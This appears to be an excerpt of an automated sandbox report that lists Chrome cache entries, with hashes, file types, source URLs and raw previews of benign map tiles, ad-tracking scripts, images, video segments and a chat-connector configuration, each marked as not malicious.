SSDEEP:	384:MaiqBACRiG5G0KK739WdiOWxaiCd78mQ4:MmeG5G0R73odyaG4
MD5:	9EBF5B1016BC16C7EA1C383C0409D10E
SHA1:	5711F976FC556D2927FF89AB1D99EF422C1836A4
SHA-256:	7BD4897F23C1C0FB969B829715F9B84FE382C1F4E0F515F3EC50A46166740A20
SHA-512:	D918F98B2F30940473BFFFF5E715346D992D1626B27CCA53124619F810EEE092CD69E2E9F5449E59792BD60CD405EA4291EB1791F20A1D4D6395A7C846914A11
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i4!3i7!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=45288
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE....................................uuu........{........ !$SWW...............w.................................._ch..;><.............FIJ............&(){..............LQP.......-/1.........5q...C\|.Q..u..255...g..........n...... `.......**...R..Q..0ZIDATx....z#I...47..f.!........./r....83.$.8..v6.!.uZR.T..........7....n..n.....7..:.....Z..-. Q.tI...v..h.DI...'.k..e.....D.9=.....8.~....}...fwNON...7.4.....w.. .[.E..H_...>k....i.wra.kg.4.W5M.....@.xY....P:it....o/.A...w=i.......w..PK.h...Dji.iSh..........nt67Uu.....\......i...8#...&j.....7.......H..&. +..7Y......;....W..7......j-...x..2.#....a.o..Y..)..MEx:....,+.u#.XRAK....................4g..]..OD..D[9..h;...a...-....A..`..f....3Bp$.A..6.M..Z+......._!..X.."V.3..}....s..o..}....(..''......v..{{.@E.u=9.+$.....~,{'.o.]....\|...).K..V.....'.9..NO{)...z.T*e...f.s.6\.#z.~.....jL....$.u]....VbB.c.

Chrome Cache Entry: 468

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MPEG transport stream data
Category:	downloaded
Size (bytes):	162808
Entropy (8bit):	5.621820314553242
Encrypted:	false
SSDEEP:	3072:UxN6NhkjLMaOW7FOyGzKCAcOMRShlsQcMF2X1AZw2X:UvuhkjLPpCxOhhlsQTI+Zw2X
MD5:	C2FB52798628437D39CD7BFED81C49BD
SHA1:	5D773E7DA0A6D2C0CF9063BFC34365C7AA85DFEF
SHA-256:	7CC3293D824C42A7EEBC6938C520856D125EBDCB501EA3A9580012C33CB70E70
SHA-512:	F7AED63E3C6598DB11D197E8F25FF90753141B21CC33BABD98895769E867027CD971A038B11E74E7B5E67F5F877DA74FA4273A308F716581B207D116A3A2E9C3
Malicious:	false
Reputation:	low
URL:	https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/1x/segment0.ts?akamai_token=exp=1716604745~acl=/media/v1/hls/v4/clear/5289441629001/033ac09c-da10-46ef-b933-8674b64cc46d/b18dad12-38fd-44db-81e3-711a8c30d28f/*~hmac=97dcbb70dc8a68b6ded8fedd1ff02e5824aa38da4ebc11f8aa2fba66f7a6c5e4
Preview:	G@.................^}.......................................................................................................................................................................GA........................................................................................................................................................................................GA.0......~................................................................................................................................................ ...!......P....!..@}..d....\.%E.GA.1......~............................................................................................................................................$...!...U..P....!..@}.........\..<\|}.GA.2.....*~...........................................................................................................................................................!.. ...P..?.!..@}..>..GA.3.....>..................................................

Chrome Cache Entry: 469

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	249
Entropy (8bit):	5.0551815106659985
Encrypted:	false
SSDEEP:	6:6v/lhPktk/m5lH1aRKtsik4+r5a6C132pv/sup:6v/7Fm5lVaxiH+Nw1GN/N
MD5:	455C2CB3334E5795780ECEFAE7A8D7B2
SHA1:	84673159FFCE04CA2878126413D802695DDA4FF6
SHA-256:	5BB3DBB110579B5683F4B682877782EEB9C649ADC5B959AAF7F29FB4B059D87F
SHA-512:	8606F048E812A4D59FE3152C2F6EECD9386F1F358DAF46DA5512CF94554477255DDC995D46EF17BDE26F7FEF5F2A9F4A338670E6E58D8D57FC0C0738A77BF068
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i1!3i6!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=15449
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE.........WW[...... $...>s.....IDATx...... .@A............+......................................................................x&?..<f-?..~gP.................f.......0......IEND.B`.

Chrome Cache Entry: 470

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (529)
Category:	downloaded
Size (bytes):	878
Entropy (8bit):	5.317479364611111
Encrypted:	false
SSDEEP:	12:XqJmW/m26qvfNV4NbxTHQuqJmrtr1Wr9UVxJjz7U05WjP+xObPhMpNFIhnddrQb:si2N1V4NxwZG1q9ujzo+OjejWY
MD5:	5ECB0085187B892D38F07F7E6F13306D
SHA1:	DB694DC8CBFB078DF1A46C0FC016E19E53833BBD
SHA-256:	8ADAB9B4D012D38F54517C46C2381DE7954A893E184E15E69955B43712228383
SHA-512:	ABBC436D3689A7F07D6E71654EB9C5ACA5CFB0B73190177DC134E576FA918BF32ED39D86392764B70E3015A71F54C6B0F68C8D72F6F5DA51A502B6584B0256E4
Malicious:	false
Reputation:	low
URL:	https://insight.adsrvr.org/track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2F&upid=4b42dtd&upv=1.1.0&paapi=1
Preview:	.<html>.<head>. <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script>.</head>.<body>. <div id="universalPixelContainer">. <script type="text/javascript">. (function(global) { . var ttdcm = new TTDCM(); . ttdcm.init( ["https://match.sync.ad.cpe.dotomi.com/w/user.sync?ptrid=13&gdpr=0&userid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&redirect=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3D6szhitj","https://match.sharethrough.com/sync/v1?source_id=5b286190338513af73f09c28&source_user_id=00d6b47b-5df0-41e1-812e-c334ebaa9abf","https://loadm.exelator.com/load/?p=204&g=461&buid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&j=0&redir=https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fgeneric%3fttd_pid%3dexelate"] );. })(this);. </script>. </div>.</body>.</html>

Chrome Cache Entry: 471

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	6494
Entropy (8bit):	7.9658969389430085
Encrypted:	false
SSDEEP:	192:YWLJ7HqLpRWZ0pgmR4s513aqOMnlr66mTV:YeHspRWZxG51tOy26mR
MD5:	98852CFA8796C6DAC459EAD759AB79CB
SHA1:	10B484C450261CD39AF8B405B6E7CDD147132E36
SHA-256:	1EDB625233E207A42106E14DB7E2B9483D4EFD05DC65635B5D2B7D56A33E6FBD
SHA-512:	1EAB613AF54E766C44CB50B8B337B354F257F22192F0F7970D730E70070DEFD963A3E399A741EEE1C3F47202F478379273094166C56D29A37341868B6808890C
Malicious:	false
Reputation:	low
Preview:	RIFFV...WEBPVP8X........?.....ALPH......Em.@..g...!...T..V.]6GA.6L........4..hQ.0.Q.vH..\|.v.=.Ym...Z.m.m.j.{.H;.}.fV...=.1.j.I.N."P..:..=..@.1.....m{.....f.......>.d._x..i...8....tXjV>t....tP.;.n.].^uH....:.6.,.....,;.s.>T...1.d4v.h...:...X...q$.....j.a.!.f...j.9....6...s.i...L..#...>V.t./._..}K0.....a.....y......=%i....8.....5].c..dA.\|K7.(.ZS)..ulc...lN....;a.\..{..a.\|Tzb........V>>.a..!y.k..v....O..@.v9Y..Y.vv.N'T.....(l..5....9...$.-.....C..^.D.}...<tL..........._.Rm.....p. ..v.@.t.$W....@....j.?t...N&...A.....s{.K.j2G...6PvD...wp...F......5........t..B>A..1.xl.,.....<U. .p.(....2r}3...4..G........&{..0E.....d."8..'(d..r.).'..N.OR..~.IA2.]7(b.<.O....".\|...L......$..~..&../ZA...4.....#......(..>..=..s.TM\|.V.T..^.....:_{...y.4._...\B.......{}T..{@..ir..EP... .w...n.....Zo_L...fA..#nJ.~.......{.(..Sa.e.A.9.iP..G@...(..7...>.....4H.a...O~..?.`k.y%..~..J/..d.H...f.a..kO._.e.......G.B.r..Q...@}k..............g..)...i+...n.BEg.......

Chrome Cache Entry: 472

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2561), with no line terminators
Category:	downloaded
Size (bytes):	2561
Entropy (8bit):	5.783094729506374
Encrypted:	false
SSDEEP:	48:gqB+shXU2+sq3r+shn+shf2+shnSmXnNYXrn4VbkzmYLiS3FGDRXOgCab8pI:JYshXUpsqSsh+shfpshZXnNYXr4VQzmz
MD5:	388305041765FDE01A6CB01686E9471C
SHA1:	EE353786F73844EAE1334E703E4A87FDA51B7055
SHA-256:	CD058496D2356B1021BCD05D4BC7900A6113D0E851481BD866FC2E7F91195E1B
SHA-512:	9B8A67DAA9966055B2F1E25D55BEF919C3068AC7D89FC71C347834529822FEE84A9E100FACEADB8BF908D5AD493BE4E958C95D493EF7C9728CAFA46DCC0E6883
Malicious:	false
Reputation:	low
URL:	https://accdn.lpsnmedia.net/api/account/11478817/configuration/le-connectors/all-connectors?cb=lpCb57643x82357
Preview:	lpCb57643x82357([{"id":4448278838,"deleted":false,"name":"https://login.microsoftonline.com/4cb791f1-02d1-4a4e-8610-911ee57bb08c/v2.0","type":1,"configuration":{"jwtValidationType":"JWKS_ENDPOINT","jwksEndpoint":"https://login.microsoftonline.com/4cb791f1-02d1-4a4e-8610-911ee57bb08c/discovery/v2.0/keys","rfcCompliance":true,"issuerDisplayName":"https://login.microsoftonline.com/4cb791f1-02d1-4a4e-8610-911ee57bb08c/v2.0","issuer":"https://login.microsoftonline.com/4cb791f1-02d1-4a4e-8610-911ee57bb08c/v2.0","preferred":false,"authorizationEndpoint":"https://login.microsoftonline.com/4cb791f1-02d1-4a4e-8610-911ee57bb08c/v2.0","jsContext":"window","jsMethodName":"lpGetAuthenticationToken","pkceEnabled":false}},{"id":236355214,"deleted":false,"name":"nfcu","type":2,"configuration":{"tokenEndpoint":"https://onlinechat-sso.navyfederal.org/affwebservices/CASSO/oidc/lengage/token","jwtValidationType":"PUBLIC_JWT_KEY","jwtPublicKey":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAlMksXW/wCaxMyJoNUM

Chrome Cache Entry: 473

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	5194
Entropy (8bit):	7.885832962204982
Encrypted:	false
SSDEEP:	96:AgcOnAjJcbKMJeIL6DkpPDf6ZTJDWUG7KMicpMWh6G4r:A/OuJmNIENjY4Unc+23u
MD5:	6B8001934E311043947B3DE3C7B4E80C
SHA1:	60A921A7952E102C012C329C88350227D39E4F1C
SHA-256:	B38B747ED9534429B90A6CB039FF885C027CDFC7440A2CA597AA4CB6B211F56F
SHA-512:	0960CE701B6F6800D3038F6B3947A1DA4BD64254DC785E691A4B47026A2EADE1999C90C5AE659FF8E87D46137D321553C416677DBF12C151EBD097DDCC48FCED
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............k.XT....pHYs................oPLTE.............................y\|~............ !$....lqs...TXX......._ch......<=?IJL./2........'f.Y....-).....IDATx....r........K....o\|.......&Q$...V.w.#....&?....G..JP............... .....=..X.._@]..?J.u...m....Q`..&....m.. ...(q.....0R...:(.......s..]@.4...X.z......."....6...s............p.....<....F.wF.&D}..0...y.%..g.4...h...,..k.H.;....g....!..... ......._.0......M.........._7.{....X....-....%.h\.......Wim..k.......W.1x5..4.9...B..W.F`,...8....X..S...M..@....s.k.M3b .z.....?.q..?0.......P...i-....uP.!&...p.z\|4.....tX....{.AK..H.sP....G..#).t$..........HQ....;Z.....m..p.+.<fY.........N.x$.L.H..r.j.hK.,a......:H.@..0dE...g,..-x.y.:.w?.....&l@=o.--1.Q....x`.@.m........cx....H.J.J.......Y.kM........%J.....~.y.....PG.V..^..... ......x..."X..`9..N...$f..}......y.l.n..... "....b`..&. z\|G...(`.4.>.N...0n....5../..B...c.:.R....l.QP.$.........+......I..6O.*.&& ."?............3..@..Zp

Chrome Cache Entry: 474

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0950611313667666
Encrypted:	false
SSDEEP:	3:CUMllRPQEsJ9pse:Gl3QEsJLse
MD5:	AD4B0F606E0F8465BC4C4C170B37E1A3
SHA1:	50B30FD5F87C85FE5CBA2635CB83316CA71250D7
SHA-256:	CF4724B2F736ED1A0AE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA
SHA-512:	EBFE0C0DF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADF0F64B65467EA58B7CD4D03CF0A1B1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDF8A0910
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	12382
Entropy (8bit):	7.94162170056722
Encrypted:	false
SSDEEP:	192:PfJSGxCdFHA98xQXRQnFlpztb6CQWyCdOj3H8g+3UcQLEJR/vMEUAHDIctWH:3J3xQFg95el5tyY8jMg+3J2WMQjIc4H
MD5:	709D7EBB167D5A862708EBB3DC656BBA
SHA1:	B014B22E52835DC1C213B2D79FF81A80FE3FBE65
SHA-256:	D927B3A461775575FAF7ED1B6CC8A04DEE0C8ED47CC96B149530F0FD8820EF3F
SHA-512:	237F28749423E030245DEA39F386166CD0415398AEABF908466E45B6E0C5FE7C6E3F1955D4A1328FCD3F6F363C83D0215ABA6D6D897E7B4D9C5FD12E5522CEC7
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i4!3i6!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=34883
Preview:	.PNG........IHDR.............k.XT....pHYs.................PLTE............v\|\|........... !$...NRV..................................kqr......agi..............X]`~........................................8:@,.2...............DGN......................n.._ch...Q..5q. `...Ds../ IDATx....C#I...L.....x...........I...r.Ww.(.z........\|.v.7<}.i.Uz.JkZw.T.O.oR..F...m...4..K......&....)....o.p.r.l.\......O..Z..U}6;Q~.......F.......M.'........j...X....P,.-.{D...o....^...z/=..^..#.O........l..L.O;.Y].M.r..._..^.i...=...[.....#.-'..j.#....>+.E..........$..nM_..~s...l.P.qyj........T.{.;O4..&K.i.\|. f......&...V...............,.VT{=...t...s=....J%..1.cg.\|...T...VUm.).xX(sq.,..I;lB..x..`m.@..... f.....X.5u..4A...^......F.....R..pT.3...5...V.v...^o$...z.3r.....f3.o...4....{x....s)q...i..i..r..G..<.w.l....1..WW...b..b.0...2A.b...,.^...{;.....x....YMy..Y.......{b.\........3...^.\|...lBd..........._....d........R.zR.r. ...0...{......&"..M.A{.....

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0950611313667666
Encrypted:	false
SSDEEP:	3:CUMllRPQEsJ9pse:Gl3QEsJLse
MD5:	AD4B0F606E0F8465BC4C4C170B37E1A3
SHA1:	50B30FD5F87C85FE5CBA2635CB83316CA71250D7
SHA-256:	CF4724B2F736ED1A0AE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA
SHA-512:	EBFE0C0DF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADF0F64B65467EA58B7CD4D03CF0A1B1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDF8A0910
Malicious:	false
Reputation:	low
URL:	https://um.simpli.fi/pubmatic
Preview:	GIF89a.............!.......,...........L..;

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 320x139, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	9142
Entropy (8bit):	7.978150311057825
Encrypted:	false
SSDEEP:	192:f7twQDk08qOZD0MAOY6Qhu5GU2SiKg2Yp+tW8knybZHfxlza7uvtoC7R:f7NDkn7Y6Qe325zhAW8knMH5V3
MD5:	A770234CDBD89C3059626877D8EE94E4
SHA1:	72445826BC4B7A4708B413BEF647751E8DCAABAF
SHA-256:	CFFF01CCF9F6879DF7CF3F660068C007A8BBC8D751C3ED6CE70359C689C5EF0A
SHA-512:	FFE8A4492760EF7A39B5548B6EA52662C07C0FFE294A4A790028A75A6F9440D3B5AFC627157B8C6EF789BB3B83270AFED0FE3004F46F9D20CC4EF7A52BD274E7
Malicious:	false
Reputation:	low
Preview:	RIFF.#..WEBPVP8 .#..P....@...>.<.H.."!.6.h...@.eN.../.(.._.c.}.Sfw.....z.....o.....[._.:g.i?.Z....>..u....[..R?.~[._./.<%.}...7.n'..........O.>.............".@...-.........~............j.c..;d.g.....).....y.5....>.c....3...+..J>8..Q...V.qXCW....kZ.....n/^..u!.PA.Rr..:&.W...,\.m.g.>c..\D..,.'.....^.z]2.>U=\........(..$ps..+.Z........:...t.Y...I.E....c.S#(...6.5!.........>TH....k<..?DS....2.1p.E.<...{}N....g... ...B...:.5.m-.m....h.3..}....=...g......a3z......Z...2N7.wox3..R.s.....7....q..+.........o.Lx..&t.'.PQ...y.)..z2..3....0!e`i....s..+.h..A"8..P..>s....+G...G....$.YJs....x......4..a..l.w..h.."W.......;.w.V.#..u?...K...2.8...............*.%..:4..o..........h..../-.A.R).O3...L.......\|m..?..t.....%.Xz.8.;^.+}.Z..@...{....G35I.Af.I.z27.E........e..M.....s.'p.K....6..1..d m2....VQ.{.h]4..g....Q...Y:...8...'.Fi.V.zf.....Zj..a^C.t.W.7..]....<...0...?..AdI....I...o...,.R.#.......a..x...V........[..........7.'..H4.".?..Q...GO.IF..!.N.&.(....

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.390319531114783
Encrypted:	false
SSDEEP:	3:HpuWth+fzYY:JbDY
MD5:	41A10D091972E693BC1CA90DBCB8E383
SHA1:	41108CC86B2B6DF9290E36013569EC84543C5654
SHA-256:	19736CBF678A5A16533CB4C77DFBD8B4874AD9BCDEC2EA18E8C1F34120CBCB4B
SHA-512:	469A453528AB81F7A75128F5D4A26DE4D93C3387E40810FC364818392B960CD0F9BFF2633917B0C563B1BE65CA941D1166F72F367EA3BE18821947A04F1AD8EC
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAnHj0YGQEHE0RIFDT0pOpYSEAmnIbxRg3egLhIFDRk1iPQ=?alt=proto
Preview:	CgkKBw09KTqWGgAKCQoHDRk1iPQaAA==

Chrome Cache Entry: 479

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	5879
Entropy (8bit):	7.867496155672488
Encrypted:	false
SSDEEP:	96:V3yd7HDJX1EzIe81s3D36OF0NV1mof1D+jTZfuHpeDxhJOufgwkg:V3ABX18rT6OONV/fV+xuH0DxhM4
MD5:	81D08EB4386867FF34F2330023AA500F
SHA1:	CF8BA3099F05CE96A926E5080AF35B902A8224F8
SHA-256:	418F04D02C5EC943E8517B491BEC4382740B57E14BCE6DAEC9B978E7C85DDE4A
SHA-512:	B8A6547AB2CA81E403EE281DC64BE98827A6692AF9CFEE1F57ACDFB577DCE296AFBB234CFEC903E5EB8E0B4434782C59747B270C23A810A18FC6CD8DF3DAA9F9
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps/vt?pb=!1m5!1m4!1i4!2i5!3i4!4i256!2m3!1e0!2sm!3i693439497!3m12!2sen-US!3sUS!5e18!12m4!1e68!2m2!1sset!2sRoadmap!12m3!1e37!2m1!1ssmartmaps!4e0&key=AIzaSyCaiC9fbTVZTWG9-By5zs-kXbpzS-PfSWU&token=20551
Preview:	.PNG........IHDR.............k.XT....pHYs................fPLTE.........................................................n.....5q.J..'f.STU`..679_ch.Z.Cw#....7IDATx....w.8.....s'..93....J.......Ixz.-.S.>K.$K6S.p...'...%..n....'...<ix_..mUU.n...../...eR..\|1 )e&.m.............~lS..2Me...e.A..D..).....d?FVu.s`]G...1C.F...Q....u....5.....Y... j.!..#8.9J:..1..2..w.G....<. Q..u..P....O...............4.k...<....A.......4......B5.+...@....\|.~mE.....P.@......q.@+.OT@.......:.F....'..<..e...g.._.....]..P.l)9......Q..@.R%i.3.WV.^...<P.s..... ... R..:..h$......^...0....I........D....... Mw.].S...8:y`...\nST,@B.....^.....T....l.4.....`....D.P.&.N.C..O.*..E ..Bn.p....q}.?XA...tP....8...Q.F.....h..../.zH....4....$.H..../...=...4x..f.#....L.(....`.~\..2B..aU...7.;3g-..).~.B.+....Bdrr..L.......Q..Z..............XN..}.>..4.~p..&t...M@.?..+..P.n6.^/...f.....8....A..A ...?[+...@?/.......[.....l>?7./......G..'...GS........&0.(.G..@ytyr.....D\...n`....

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (19497)
Category:	downloaded
Size (bytes):	19498
Entropy (8bit):	5.322746647348741
Encrypted:	false
SSDEEP:	384:fkEH8lJd3tmk9eosTXlTxLJov4kxMTHSb9x/vv9ihfWRuBjw8can0O8eEbyIxxg4:fN8mkT2XVxLJogkxyHg/H90fM+rn0CER
MD5:	83C2974D08241A92C3B2DCB8F441271F
SHA1:	424D72CD7DFE7371C647ADDD7145AB3444A6B121
SHA-256:	7EF97B12890FC6FEE67F869C6E1F74B6719DE7D66AC0D649C8D7386A80B4C30F
SHA-512:	A10FD145D462CE37CB878AAB5380B5B73415016673B8E466A5CBFE5C7EE916A04635876C16FB0B97BBD87D27309C5CA795F9088F6EDEFA5111568E834B001842
Malicious:	false
Reputation:	low
URL:	https://c1.rfihub.net/js/tc.min.js
Preview:	.var JSON;JSON\|\|(JSON={}),function(){"use strict";function f(a){return 10>a?"0"+a:a}function quote(a){return escapable.lastIndex=0,escapable.test(a)?'"'+a.replace(escapable,function(a){var b=meta[a];return"string"==typeof b?b:"\\u"+("0000"+a.charCodeAt(0).toString(16)).slice(-4)})+'"':'"'+a+'"'}function str(a,b){var c,d,e,f,g,h=gap,i=b[a];switch(i&&"object"==typeof i&&"function"==typeof i.toJSON&&(i=i.toJSON(a)),"function"==typeof rep&&(i=rep.call(b,a,i)),typeof i){case"string":return quote(i);case"number":return isFinite(i)?String(i):"null";case"boolean":case"null":return String(i);case"object":if(!i)return"null";if(gap+=indent,g=[],"[object Array]"===Object.prototype.toString.apply(i)){for(f=i.length,c=0;f>c;c+=1)g[c]=str(c,i)\|\|"null";return e=0===g.length?"[]":gap?"[\n"+gap+g.join(",\n"+gap)+"\n"+h+"]":"["+g.join(",")+"]",gap=h,e}if(rep&&"object"==typeof rep)for(f=rep.length,c=0;f>c;c+=1)"string"==typeof rep[c]&&(d=rep[c],e=str(d,i),e&&g.push(quote(d)+(gap?": ":":")+e));else for(d i

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MPEG transport stream data
Category:	dropped
Size (bytes):	162808
Entropy (8bit):	5.621820314553242
Encrypted:	false
SSDEEP:	3072:UxN6NhkjLMaOW7FOyGzKCAcOMRShlsQcMF2X1AZw2X:UvuhkjLPpCxOhhlsQTI+Zw2X
MD5:	C2FB52798628437D39CD7BFED81C49BD
SHA1:	5D773E7DA0A6D2C0CF9063BFC34365C7AA85DFEF
SHA-256:	7CC3293D824C42A7EEBC6938C520856D125EBDCB501EA3A9580012C33CB70E70
SHA-512:	F7AED63E3C6598DB11D197E8F25FF90753141B21CC33BABD98895769E867027CD971A038B11E74E7B5E67F5F877DA74FA4273A308F716581B207D116A3A2E9C3
Malicious:	false
Reputation:	low
Preview:	G@.................^}.......................................................................................................................................................................GA........................................................................................................................................................................................GA.0......~................................................................................................................................................ ...!......P....!..@}..d....\.%E.GA.1......~............................................................................................................................................$...!...U..P....!..@}.........\..<\|}.GA.2.....*~...........................................................................................................................................................!.. ...P..?.!..@}..>..GA.3.....>..................................................

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2116)
Category:	downloaded
Size (bytes):	4576
Entropy (8bit):	5.551124210323862
Encrypted:	false
SSDEEP:	96:pVpJvkGgsNlEXvGHP+x1OtBOrgfyGHDNeAV6uLZUzuKgRo:/pJvkdsNlWvG0EtBZakNeA7Lto
MD5:	D1B2223C3F9BD44822B64CC4D71950CC
SHA1:	CD6316D8782BDD8F53020A2BD6A9771C755EA34F
SHA-256:	464D80227356E61282933FB20AC13BB042557FC49E535987053B8018898183FE
SHA-512:	3E31F2BE2B9AD737C7CBB187CDB899ECD7465E2CBB9DA29A35F922F0DC221DE617834B655816DD522ACAA492E2A0F9A974AB22745E3C3B98A8D83B5A0EE1B4D3
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/57/0/geocoder.js
Preview:	google.maps.__gjsload__('geocoder', function(_){var KGa=function(a){const b=_.Aj({address:_.Pq,bounds:_.Jj(_.ql),location:_.Jj(_.Uj),language:_.Pq,region:_.Pq,latLng:_.Jj(_.Uj),country:_.Pq,partialmatch:_.Qq,newForwardGeocoder:_.Qq,newReverseGeocoder:_.Qq,componentRestrictions:_.Jj(_.Aj({route:_.Jj(_.Rq),locality:_.Jj(_.Rq),administrativeArea:_.Jj(_.Rq),postalCode:_.Jj(_.Rq),country:_.Jj(_.Rq)})),placeId:_.Pq});return _.Ij(c=>b(c),function(c){if(c.placeId){if(c.address)throw _.yj("cannot set both placeId and address");if(c.latLng)throw _.yj("cannot set both placeId and latLng");.if(c.location)throw _.yj("cannot set both placeId and location");if(c.componentRestrictions)throw _.yj("cannot set both placeId and componentRestrictions");}return c})(a)},LGa=function(a,b){_.YL(a,_.ZL);_.YL(a,_.gya);b(a)},QO=function(a){switch(a){case "OK":case "ZERO_RESULTS":return 0;case "INVALID_REQUEST":return 3;case "OVER_QUERY_LIMIT":return 8;case "REQUEST_DENIED":return 7;case "ERROR":case "UNKNOWN_ERRO

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 320x157, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	4872
Entropy (8bit):	7.961669186179695
Encrypted:	false
SSDEEP:	96:eRQzOaetxiWgcR9L7faaFLb2BGmLSMgTS9SrzvOjb01AHudvPuGpBgRPUMe:eR+detstcR9LjaaFLb2BGmLSMiSovAb2
MD5:	FD8F1CD868A239A50ECF5AF5264D4BDA
SHA1:	07E157919232E172AAE551F2F012FB62CE972133
SHA-256:	B8BFCA3A2747D4B74D9601022F731F9EC339EEDEAF4B2D972FB58E98F0CA441D
SHA-512:	0999F6CDCAA5339E00DECF45EDBF50EF41FDF6DC6CC1DEB28A849B682A4EB935CC72ECB11AF78B44A8ABECC82B7F2018E185E9D05BB61DA05BAF6FD077CB634F
Malicious:	false
Reputation:	low
Preview:	RIFF....WEBPVP8 .....S...@...>.B.J...........g.."}.. ;q;../....D.Q..8.....E-...}....+....._}.....Y..u..y\|.8..r..[x..K.c.a.3..i.Wtr37./I^..n......."......W..Kjj..&`X.y...W.Z.....O.l..4..Gug..<.I.E+..`.r.z.aC..^.?.`}.OCM>.....%.....5e.....I}.....x..,........1....P..~..&...w....H.r.g,...=12.u..t.^...l.-....w...J;....\|-u..^t.H. .e...{.a..f.j.....A.......$.\..`X.......'Qv...+,..r.U.((....c..G..<C...$.`+....-0..%F..^.b..h]..L.}.z....2.<.;..S..6B.._.i...`a0.=..w~.z.%.Jq^.n..w.}.....!'.Ba...b..'..q.....5......kM.>\|:......Z.lW..3...`.g.>.D.pt.v...t.4..`.5..~...&..SoC)..6..CX^.........0..O`..~W.... ....-..F.z.O......b......B.<j.z..........X.G>w.....l.R......4.fo...R.29:B7........._RTG.........;..l~....X....B.....-...eg.-...O.$.....=.e..X5.b............M....l4...........g..1..xQ...q`i.F.U^...9duS.gE...%.#(.j...)!g..ipE...v.y.....a4....!.v.\:.............".]....O..?.........Es..krY.....5.....V..%K..B.......+..F.iv.h.}W..i..3=..w.Dy...H..;...O....F..../.r.c

Chrome Cache Entry: 484

Download File

